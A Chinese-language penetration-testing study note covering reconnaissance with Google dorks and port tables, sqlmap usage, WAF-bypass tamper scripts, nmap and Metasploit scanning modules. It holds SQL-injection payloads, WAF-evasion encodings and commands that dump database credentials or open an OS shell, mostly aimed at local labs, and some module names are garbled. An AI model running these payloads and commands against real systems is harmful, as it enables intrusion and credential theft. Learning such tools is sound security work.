渗透测试学习笔记
本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。
信息收集
收集域名信息
-
Whois查询
kali:
whois baidu.com
爱站工具网:https://whois.aizhan.com
VirusTotal:https://www.virustotal.com
-
备案信息查询
ICP备案查询网:http://www.beianbeian.com
收集敏感信息
Google语法
site:可以限制你搜索范围的域名;
inurl:用于搜索网页上包含的URL,这个语法对寻找网页上的搜索,帮助之类的很有用;
intext: 只搜索网页部分中包含的文字(也就是忽略了标题、URL等的文字);
intitle: 查包含关键词的页面,一般用于社工别人的webshell密码;
filetype:搜索文件的后缀或者扩展名;
intitle:限制你搜索的网页标题;
查找后台地址:
site:域名inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
查找文本内容:
site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|admin|login|sys|managetem|password|username
查找可注入点:
site:域名 inurl:aspx|jsp|php|asp
查找上传漏洞:
site:域名 inurl:file|load|editor|Files
找eweb编辑器:
site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的数据库:
site:域名 filetype:mdb|asp|#
查看脚本类型:
site:域名 filetype:asp/aspx/php/jsp
迂回策略入侵:
inurl:cms/data/templates/images/index/
乌云漏洞表:https://wooyun.shuimugan.com
收集子域名信息
-
子域名检测工具
Layer子域名挖掘机、K8、wydomain、Sublist3r、dnsmaper、subDomainsBrute、Maltego CE等
-
搜索引擎枚举
如利用google语法搜索子域名:
site:baidu.com
-
第三方聚合工具枚举
如DNSSdumpster网、在线DNS侦查
-
证书透明度
crt.sh:https://crt.sh
censys:https://censys.io
收集常用端口信息
nmap、无状态端口扫描工具Masscan、ZMap、御剑告诉TCP端口扫描工具
端口号 | 漏洞名称 |
---|---|
21 | FTP弱密码 |
22 | SSH弱密码 |
23 | telnet弱密码 |
25 | 邮件伪造、vrfy/expn查询邮件用户信息、可使用smtp-user-enum工具来自动跑 |
53 | 允许区域传送、dns劫持、缓存投毒、欺骗以及各种基于dns隧道的远控 |
69 | 尝试下载目标及其的各类重要配置文件 |
80-89、443、8440-8450、8080-8089 | 应用服务器端口可尝试经典的topn、vpn、owa、webmail、目标oa、Java控制台、服务器Web管理面板、Web中间件漏洞利用、Web框架漏洞利用等等 |
110 | POP3可尝试爆破、嗅探 |
111、2049 | NFS 权限配置不当 |
137、139、445 | SMB 尝试爆破以及smb自身的各种远程执行类漏洞利用、如、ms08-067、ms17-010、嗅探等…… |
143 | IMAP |
161 | snmp默认团体名/弱口令漏洞 |
389 | LDAP、ILS |
443 | poodle漏洞:ssl3协议禁用 |
445 | ms17-010、ms08-067 |
464 | kpasswd Kerberos 口令和钥匙改换服务 |
512、513、514 | Linux rexec 可爆破、rlogin登陆 |
554 | RTSP |
873 | Rsync未授权访问、匿名访问、文件上传 |
1194 | OpenVPN想办法钓VPN账号、进内网 |
1352 | Lotus |
1433 | SQL弱口令、信息泄漏、爆破 |
1500 | ISPmanager |
1521 | Oracle注入、提权、sa弱口令、爆破 |
1723 | PPTP弱口令 |
2082、2083 | cPanel 弱口令 |
2181 | ZooKeeper弱口令 |
2601、2604 | Zebra 默认密码zerbra |
3128 | Squid默认密码zerbra |
3306 | mysql弱密码 |
3312、3311 | kangle 弱口令 |
3389 | ms12-020、Windows注入、提权、爆破 |
3690 | SVN svn泄露、未授权访问 |
4848 | GlassFish 弱口令 |
5000 | Sybase/DB2爆破、注入 |
5432 | PostgreSQL爆破、注入 |
5900、5901、5902 | VNC 弱口令爆破 |
5984 | CouchDB远程代码执行、弱口令爆破 |
6379 | redis未授权访问 |
7001、7002 | WebLogic反序列化漏洞(cve-2018-2893) |
7778 | KloxoJava反序列化、弱口令 |
8000 | Ajenti主机面板登录 |
8069 | Zabbix弱口令 |
8080-8089 | Jenkins、JBoss |
8161 | activemq后台弱密码漏洞 |
8393 | solr |
8443 | Plesk弱口令 |
9080、9081、9090 | WebSphere(应用服务器) Java反序列化/弱口令 |
9200、9300 | Elasticsearch未授权访问漏洞、任意文件读取、远程命令执行 |
11211 | Memcached 未授权访问 |
27017、27018 | MongoDB 爆破、未授权访问 |
50070、50030 | Hadoop爆破、未授权访问 |
61616 | (ActiveMQ消息队列端口)ActiveMQ反序列化漏洞(CVE-2015-5254) |
指纹识别
御剑web指纹识别、WhatWeb、WebRobo、椰树等
bugScaner:http://whatweb.bugscaner.com/look/
云悉指纹:http://www.yunsee.cn/finger.html
WhatWeb:https://whatweb.net/
查找真实IP
-
判断目标是否使用了CDN
利用在线网站17CE(https://www.17ce.com)进行全国多地区的ping服务操作。
-
绕过CDN寻找真实IP
-
内部邮箱源
一般邮箱系统都在内部,没有经过CDN的解析。
-
扫描网站测试文件
如phpinfo、test等。
-
分站扫描
一般只主站挂CDN,分站没有。
-
国外访问
国内的CDN往往只对国内用户的访问加速。
国外在线代理网站App Synthetic Monitor(https://asm.ca.com/en/ping.php)
-
查询域名的解析记录
也行域名很久以前没有用过CDN,所以可以查询域名的IP记录
网站NETCRAFT(https://www.netcraft.com)
-
利用APP查询
如果目标网站有自己的APP,可以尝试使用Fiddler或者Burp抓包看APP请求
-
绕过CloudFlare CDN查找真实IP
很多网站都使用CloudFlare提供的CDN服务,在确定目标网站使用CDN后,可以先尝试使用在线网站CloudFlareWatch()
-
收集敏感目录文件
工具有DirBuster、御剑后台扫描、wwwscan、Spinder.py、Sensitivefilescan、Weakfilescan等
社会工程学
可以收集邮件、QQ、电话号码、姓名等信息
可以利用社工库查询想要的信息
常用渗透测试工具
SQLMap
-
注入access数据库常用的参数
sqlmap.py -u "url" //判断参数是否存在注入
sqlmap.py -u "url" --tables //猜解表名
sqlmap.py -u "url" --columns -T "要猜解的表名" //猜解列名
sqlmap.py -u "url" --dump -C "列名" -T “表名” //爆出字段数据
-
注入MySQL数据库常用参数
sqlmap.py -u "url" //判断参数是否存在注入
sqlmap.py -u "url" --current-db //查看网站当前数据库
sqlmap.py -u "url" --is-dba //查看当前用户权限
sqlmap.py -u "url" --tables //猜解表名
sqlmap.py -u "url" --columns -T "要猜解的表名" //猜解列名
sqlmap.py -u "url" --dump -C "列名" -T “表名” //爆出字段数据
-
一些常用参数集合
--help //查看帮助选项
--dbs //查看网站所有数据库
--users //查看所有数据库的用户
--count //统计条数 (该条命令可用在爆表名的时候,便于查看哪个是管理员的表)
--level //测试等级(1-5)默认是1,cookie注入是2,http头注入是3
--dbms=mysql/oracle/mssql 指定数据库(这样既可以节省时间,在某些时候也可以绕过waf)
sqlmap.py -u “url”--batch --exclude-sysdbs //batch是使用sqlmap默认选项,不用按回车;exclude-sysdbs是排除系统自带的数据库
显示调式信息
-v 显示调用信息有7个级别:
0只显示python错误以及严重的信息 1同时显示基本信息和警告信息。 2同时显示debug信息 3同时显示注入的payload 4同时显示http请求 5同时显示http响应头 6同时显示http响应页面
--risk //风险等级,共有四个等级,1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的sql注入测试
-m //从文本中获取多个目标,文件中保存url格式,sqlmap会一个一个测试 sqlmap.py -m 1.txt
-r //获取http请求注入,sqlmap可以从一个文本文件中获取http请求,这样就可以跳过设置一些其他参数,在存在注入的http请求头加*。
利用的场景:post,搜索注入,http头注入,登陆后的注入(在登录后存在注入点,因为只有在登录后才有cookie)
-g //处理google搜索结果, sqlmap可以测试注入google的搜索结果中的get参数(前100个请求) sqlmap.py -g "inurl:php?id="
入门内容
-
判断是否存在注入
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1
当注入点后面的参数大于等于两个时,需要加双引号
sqlmap -u "http://localhost/sqlilabs/Less-1/?id=1&uid=2"
-
判断文本中的请求是否存在注入
sqlmap -r desktop/1.txt
-
查询当前用户下的所有数据库
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --dbs
-
查询数据库中的表名
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security --tables
-
获取表中的字段名
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security -T users --columns
-
获取字段内容
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 -D security -T users -C username,password --dump
-
获取数据库的所有用户
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --users
-
获取数据库用户的密码
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --passwords
-
获取当前网站数据库的名称
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --current-db
-
获取当前网站数据库的用户名称
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --current-user
进阶内容
-
--level 5
:探测等级指需要执行的测试等级,不加时默认为1。SQLMap使用的Payload可以在xml/payloads.xml中看到,也可以根据相应的格式自己添加payload。其中5级包含的payload最多,会自动破解出cookie、XFF等头部注入。
-
--is-dba
:查看当前账户是否为管理员权限如果是则返回
True
-
--roles
:列出数据库管理员角色该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用
-U
参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候。 -
--referer
:HTTP Referer头SQLMap可以在请求中伪造HTTP中的referer,当
--feferer
参数设定为3或者3以上时,会尝试对referer注入。可以使用该命令来欺骗,如:--erferer http://www.baidu.com
。 -
sql-shell
:运行自定义SQL语句用于执行指定的SQL语句,如:
sqlmap -u "http://localhost/sqlilabs/Less-1/?id=1" --sql-shell
-
os-cmd、--os-shell
:运行任意操作系统命令当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库在mysql、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。
使用该命令的两个条件:
- 当前账户为管理员权限
secure_file_priv
为任意读写状态,即为空- 查询状态命令:
show global variables like '%secure%';
- 在my.ini文件中修改,修改后重启数据库
- 查询状态命令:
-
--file-read
:从数据库服务器中读取文件当数据库为MySQL、PostgreSQL或者Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
-
--file-write、--file-dest
:上传文件到数据库服务器中当数据库为MySQL、PostgreSQL或者Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
绕过脚本
SQLMap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改,我们可以使用--tamper
参数对数据做修改来绕过WAF等设备,大部分脚本主要使用正则模块替换攻击载荷字符编码的方式来绕过检测规则。
sqlmap -u http://localhost/sqlilabs/Less-1/?id=1 --tamper "space2plus.py"
apostrophemask.py
适用数据库:ALL
作用:将引号替换为 utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
base64encode.py
适用数据库:ALL
作用:替换为 base64 编码
使用脚本前:tamper("1' AND SLEEP(5)#")
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
multiplespaces.py
适用数据库:ALL
作用:围绕 sql 关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar
space2plus.py
适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT+id+FROM+users
nonrecursivereplacement.py
适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的 sql 关键字(适用于非常弱的自定义过滤器,例如将 select 替换为空)
使用脚本前:tamper('1 UNION SELECT 2--')
使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
space2randomblank.py
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Did%0DFROM%0Ausers
unionalltounion.py
适用数据库:ALL
作用:将union allselect
替换为unionselect
使用脚本前:tamper('-1 UNION ALL SELECT')
使用脚本后:-1 UNION SELECT
securesphere.py
适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1 and '0having'='0having'
space2dash.py
适用数据库:ALL
作用:将空格替换为--
,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
space2mssqlblank.py
适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Eid%0DFROM%07users
between.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND #
替换>
使用脚本前:tamper('1 AND A > B--')
使用脚本后:1 AND A NOT BETWEEN 0 AND B--
pecentage.py
适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%
使用脚本前:tamper('SELECT FIELD FROM TABLE')
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py
适用数据库:MSSQL
作用:从 T-SQL 日志的自动迷糊处理的有效载荷中追加 sp_password
使用脚本前:tamper('1 AND 9227=9227-- ')
使用脚本后:1 AND 9227=9227-- sp_password
charencode.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的 payload 全部字符使用 url 编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
randomcase.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper('INSERT')
使用脚本后:INseRt
charunicodeencode.py
适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的 unicode 编码
使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
space2comment.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/**/
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT/**/id/**/FROM/**/users
equaltolike.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=
替换为LIKE
使用脚本前:tamper('SELECT * FROM users WHERE id=1')
使用脚本后:SELECT * FROM users WHERE id LIKE 1
equaltolike.py
测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>
替换为 GREATEST,绕过对>
的过滤
使用脚本前:tamper('1 AND A > B')
使用脚本后:1 AND GREATEST(A,B+1)=A
ifnull2ifisnull.py
适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)
替换为IF(ISNULL(A), B, A)
,绕过对IFNULL
的过滤
使用脚本前:tamper('IFNULL(1, 2)')
使用脚本后:IF(ISNULL(1),2,1)
modsecurityversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用 mysql 内联注释的方式进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!30874AND 2>1*/--
space2mysqlblank.py
适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Bid%0DFROM%0Cusers
modsecurityzeroversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/*!00000*/)
进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!00000AND 2>1*/--
space2mysqldash.py
适用数据库:MySQL、MSSQL
作用:将空格替换为 --
,并追随一个换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--%0AAND--%0A9227=9227
bluecoat.py
适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在 sql 语句之后用有效的随机空白字符替换空格符,随后用LIKE
替换=
使用脚本前:tamper('SELECT id FROM users where id = 1')
使用脚本后:SELECT%09id FROM users where id LIKE 1
versionedkeywords.py
适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
halfversionedmorekeywords.py
适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加 mysql 版本注释
使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
space2morehash.py
适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#
,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
apostrophenullencode.py
适用数据库:ALL
作用:用非法双字节 Unicode 字符替换单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %00%271%00%27=%00%271
appendnullbyte.py
适用数据库:ALL
作用:在有效载荷的结束位置加载 null 字节字符编码
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1%00
chardoubleencode.py
适用数据库:ALL
作用:对给定的 payload 全部字符使用双重 url 编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
unmagicquotes.py
适用数据库:ALL
作用:用一个多字节组合%bf%27
和末尾通用注释一起替换空格
使用脚本前:tamper("1' AND 1=1")
使用脚本后:1%bf%27 AND 1=1--
randomcomments.py
适用数据库:ALL
作用:用注释符分割 sql 关键字
使用脚本前:tamper('INSERT')
使用脚本后:I/**/N/**/SERT
Nmap
NMAP的功能包括:
- 主机发现 - 识别网络上的主机。例如,列出响应TCP和/或ICMP请求或打开特定端口的主机。
- 端口扫描 - 枚举目标主机上的开放端口。
- 版本检测 - 询问远程设备上的网络服务以确定应用程序名称和版本号。
- OS检测 - 确定网络设备的操作系统和硬件特性。
- 可与脚本进行脚本交互 - 使用Nmap脚本引擎(NSE)和Lua编程语言。
常用参数
参数(注意区分大小写) | 说明 |
---|---|
-sT | TCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息。 |
-sS | 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限。 |
-sF -sN | 秘密FIN数据包扫描、Xmas Tree、Null扫描模式 |
-sP | ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。 |
-sU | UDP扫描,但UDP扫描是不可靠的 |
-sA | 这项高级的扫描方法通常用来穿过防火墙的规则集 |
-sV | 探测端口服务版本 |
-Pn | 扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描 |
-v | 显示扫描过程,推荐使用 |
-h | 帮助选项,是最清楚的帮助文档 |
-p | 指定端口,如“1-65535、1433、135、22、80”等 |
-O | 启用远程操作系统检测,存在误报 |
-A | 全面系统检测、启用脚本检测、扫描等 |
-oN/-oX/-oG | 将报告写入文件,分别是正常、XML、grepable 三种格式 |
-T4 | 针对TCP端口禁止动态扫描延迟超过10ms |
-iL | 读取主机列表,例如,“-iL C:\ip.txt” |
入门内容
-
扫描单个地址
nmap 127.0.0.1
-
扫描多个目标地址
nmap 127.0.0.1 127.0.0.2
-
扫描一个范围内的目标地址
nmap 127.0.0.1-100
-
扫描目标地址所在网段
nmap 127.0.0.1/24
-
扫描主机列表targets.txt中所有目标地址
nmap -iL c:\targets.txt
-
扫描除某一个目标地址之外的所有目标地址
nmap 127.0.0.1/24 -exclude 127.0.0.2
-
扫描除某一文件中的目标地址之外的目标地址
nmap 127.0.0.1/24 -excludefile c:\targets.txt
-
扫描某一地址的21、22、23、80端口
nmap 127.0.0.1 -p 21,22,23,80
-
对目标地址进行路由跟踪
nmap --traceroute 127.0.0.1
-
扫描目标地址所在C段的在线状况
nmap -sP 127.0.0.1/24
-
目标地址的操作系统指纹识别
nmap -O 127.0.0.1
-
目标地址提供的服务版本检测
nmap -sV 127.0.0.1
-
探测防火墙状态
nmap -sF -T4 127.0.0.1
进阶内容
脚本介绍
- auth: 负责处理鉴权证书(绕开鉴权)的脚本
- broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
- brute: 提供暴力破解方式,针对常见的应用如http/snmp等
- default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
- discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
- dos: 用于进行拒绝服务攻击
- exploit: 利用已知的漏洞入侵系统
- external: 利用第三方的数据库或资源,例如进行whois解析
- fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
- malware: 探测目标机是否感染了病毒、开启了后门等信息
- safe: 此类与intrusive相反,属于安全性脚本
- version: 负责增强服务与版本扫描(Version Detection)功能的脚本
- vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
常用脚本
可以设置--script=类别
进行扫描,常用参数如下。
-
-sC
:采用默认配置扫描,与--script=default
参数等价 -
--script=<lua scripts="">
:使用某个脚本进行扫描 -
--script-args=key1=value1,key2=value2...
:该参数是用来传递脚本里面的参数的,key1 是参数名,该参数对应 value1 这个值,那么有更多的参数,使用逗号连接 -
–script-args-file=filename
: 使用文件来为脚本提供参数 -
--script-trace
:如果设置该参数,则显示所有的脚本 -
--script-updatedb
:在 Nmap 的 scripts 目录里有一个 script.db 文件,该文件中保存了当前 Nmap 可用的脚本,类似于一个小型数据库,如果我们开启 nmap 并且调用了此参数,则 nmap 会自行扫描 scripts 目录中的扩展脚本,进行数据库更新 -
--script-help = 脚本名称
调用该参数后,Nmap 会输出该脚本名称对应的脚本使用参数,以及详细介绍信息
实例
-
鉴权扫描
使用
--script=auth
可以对目标主机或目标主机所在网段进行应用弱口令检测。nmap --script=auth 127.0.0.1
-
暴力破解攻击
可以对数据库、SMB、SNMP等进行简单密码的暴力猜解。
nmap --script=brute 127.0.0.1
-
常见漏洞的扫描
具备漏洞扫描的功能,可以检查目标主机或网段是否存在常见的漏洞。
nmap --script=vuln 127.0.0.1
-
应用服务扫描
具备很多常见的应用服务扫描脚本,例如VNC服务、MySQL服务、Telnet服务、Rsync服务等。
nmap --script=realvnc-auth-bypass 127.0.0.1
-
探测局域网内更多服务的开启情况
输入以下命令即可探测局域网内更多服务开启的情况。
nmap -n -p 445 --script=broadcast 127.0.0.1
-
Whois解析
利用第三方的数据库或者资源查询目的地址的信息,例如进行Whois解析。
nmap -script external baidu.com
Metasploit技术
The Metasploit Framework的简称。MSF高度模块化,即框架由多个module组成,是全球最受欢迎的工具。
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。
metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。
Metasploit可以向后端模块提供多种用来测试的接口,如:控制台、Web、CLI。通过控制台接口,可以访问和使用所有Metasploit插件,如:Payload、利用模块、Post模块等。
Metasploit还有第三方程序接口,如:Nmap、Sqlmap等,都可以直接在控制台接口里使用,通过输入msfconsole
进入启动页面,如需返回初始状态可使用back
命令。
使用 kali 系统时需要更新源。更新命令有 apt-get update、apt-get upgrade、apt-get dist-upgrade。
- apt-get update:只更新软件包的索引源,作用是同步源的软件包的索引信息,从而进行软件更新。
- apt-get upgrade:升级系统上安装的所有软件包,如果更新没成功,会保留原来的状态。
- apt-get dist-upgrade:升级整个 Linux 系统。
Metasploit 基础
模块功能
Auxiliaries(辅助模块)
该模块只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试,不会直接在渗透测试的人和目标主机之间建立访问。
Exploit(漏洞利用模块)
漏洞利用是渗透测试的人利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。渗透攻击技术包括缓冲区溢出、Web 应用程序攻击,以及利用配置错误等,其中包含渗透测试人员针对系统中的漏洞而设计的各种 POC 验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或执行特定代码,在 Metasploit 框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,跳转、修改参数,添加账号等等。
Post(后期渗透模块)
用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,例如获取敏感信息、实施跳板攻击等。
Encoders(编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS 及类似的安全软件检测出来。
渗透测试攻击步骤
在使用 Metasploit Framework 渗透测试时,主要使用的五大模块对目标系统进行侦察并发动攻击。
渗透测试攻击步骤大致如下:
- 对目标主机系统进行扫描,寻找可以利用的漏洞。
- 选择并配置一个漏洞利用模块
- 选择并配置一个攻击载荷模块
- 选择一个编码技术,用来绕过杀毒软件的查杀
- 进行渗透攻击
主机扫描
一般来说,信息收集都是渗透测试的第一步,要尽可能多的收集目标主机的信息,信息越多越有利,渗透的概率也越大。主机扫描主要的重点是扫描目标主机 IP 地址、开放的端口、可用的服务等。
使用 Auxiliaries 辅助模块进行端口扫描
Auxiliaries 辅助模块是 Metasploit 的内置模块,首先搜索有哪些可用端口模块,命令:search portscan
从图中可以看到可用的扫描器列表,包含了各种扫描类型,以 TCP 扫描模块为例。
使用该扫描模块,命令:use auxiliary/scanner/portscan/tcp
使用该模块后,查看需要修改的参数配置,命令:show options
Required 列中,被标记为 yes 的参数必须包含实际的值,其中 RHOSTS
设置待扫描的 IP 地址、PORTS
设置扫描端口范围、THREADS
设置扫描线程,线程数量越高,扫描速度越快。
对于每个参数的修改可以使用set
命令,同样的可以使用unset
命令取消对参数的设置。
设置被扫描主机地址:192.168.216.131
命令为:set RHOSTS 192.168.216.131
设置扫描端口范围:1-8888
命令为:set PORTS 1-8888
设置线程数量:20
命令为:set THREADS 20
查看参数是否修改成功,还是输入show options
运行模块使用命令:run
使用 Auxiliaries 辅助模块对服务进行扫描
扫描目标主机上运行的服务时,有很多种基于服务的扫描技术可供选择,如:VNC、FTP、SMB 等,只需要执行特定类型的扫描就可以发现服务。
通过命令:search scanner
可以把所有的扫描模块列表都罗列出来,有很多可以用的模块,具体操作与端口扫描模块基本相同。
常用的扫描模块及功能
模 块 | 功 能 |
---|---|
auxiliary/scanner/portscan | 端☐扫描 |
auxiliary/scanner/smb/smb_version | SMB 系统版本扫描 |
auxiliary/scanner/smb/smb_enumusers | SMB 枚举 |
auxiliary/scanner/smb/smb_login | SMB 弱☐令扫描 |
auxiliary/admin/smb/psexec_command | SMB 登录且执行命令 |
auxiliary/scanner/ssh/ssh_login | SSH 登录测试 |
scanner/mssql/mssql_ping | MSSQL 主机信息扫描 |
admin/mssql/mssql_enum | MSSQL 枚举 |
admin/mssql/mssql_exec | MSSQL 执行命令 |
admin/mssql/mssql_sql | MSSQL 查询 |
scanner/mssql/mssql_login | MSSQL 弱☐令扫描 |
auxiliary/admin/mysql/mysql_enum | MySQL 枚举 |
auxiliary/admin/mysql/mysql_sql | MySQL 语句执行 |
auxiliary/scanner/mysql/mysq_login | MySQL 弱☐令扫描 |
auxilaryscanner/smtp/smtp_version | SMTP 版本扫描 |
auxiliary/scanner/smtp/smtp_enum | SMTP 枚举 |
auxiliaryscanner/snmp/community | SNMP 扫描设备 |
aularyscannertelnetelnet_login | TELNET 登录 |
scanner/vnc/vnc_none_auth | VNC 空☐令扫描 |
在 Metasploit 中使用 Nmap 扫描
在 Metasploit 中同样可以使用 Nmap 扫描。Nmap 不仅可以用来确定目标网络上主机的存活状态,还可以扫描计算机的操作系统、开放端口、服务等。
在 msf 命令提示符下直接输入nmap
,就可以显示 nmap 提供的所有扫描选项列表
Web安全原理剖析
SQL注入
产生条件
- 参数用户可控
- 参数代入数据库查询
